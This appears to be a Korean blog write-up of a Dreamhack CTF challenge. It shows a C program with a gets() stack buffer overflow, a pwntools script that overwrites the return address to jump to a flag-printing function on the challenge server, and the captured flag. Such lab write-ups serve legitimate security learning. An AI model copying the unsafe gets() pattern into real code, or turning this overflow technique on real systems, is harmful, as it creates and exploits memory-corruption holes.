일단 c코드와 바이너리 파일을 다운받고 c코드부터 열어 어떤 내용의 코드인지 확인했다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
한 번 훑어보니, buf의 크기는 0x80인데 gets로 제한 없이 입력을 받아 취약점이 터지는 것 같았고, 입력받을 때 ret 주소를 변조해 read_flag()의 주소를 가리키게 하면 될 것 같았다.
이제 정확한 주소 계산을 위해 바이너리 파일로 buf의 정확한 위치를 구해보자.
buf의 정확한 주소는 c코드에서 봤던 0x80이었고, 4바이트의 sfp까지 넣어준 후에 ret 주소를 변조해야하므로 총 0x84개의 무작위값을 넣어주고,
read_flag()의 주소 0x80485B9를 p32로 인코딩해 넣어주면 main함수가 return될 때 read_flag() 함수로 eip가 이동하게 될 것이고, 결국 flag의 내용을 확인할 수 있게 된다.
한 번 페이로드를 구성해보자.
from pwn import *
p=remote("host3.dreamhack.games", 11350)
p.sendline(b'a'*0x84+p32(0x80485B9))
p.interactive()
이런 식으로 구성해 페이로드를 보내주면 된다.
remote 함수로 페이로드를 날릴 서버에 연결해주었고, sendline으로 0x84개의 무작위값을 보내 sfp까지 덮었으며, 그 상태에서 read_flag의 주소까지 넣어 ret 주소를 변조했다.
이 코드를 실행하면 아마 플래그가 정상적으로 출력되고 프로그램이 종료될 것이다.
한 번 실행해보자.
플래그가 정상적으로 출력됐다.
flag : DH{01ec06f5e1466e44f86a79444a7cd116}
'system hacking' 카테고리의 다른 글
Layer7 포너블 2차시 과제 - overwrite_variable64 풀이 (1) | 2022.09.20 |
---|---|
Layer7 포너블 2차시 과제 - overwrite_variable32 풀이 (1) | 2022.09.20 |
Layer7 포너블 1차시 과제 - pwnable.kr bof 문제 풀이 (0) | 2022.09.19 |
Layer7 포너블 1차시 과제 - bof_basic_64 (0) | 2022.09.14 |
Layer7 포너블 1차시 문제 풀이 - bof_basic (0) | 2022.09.14 |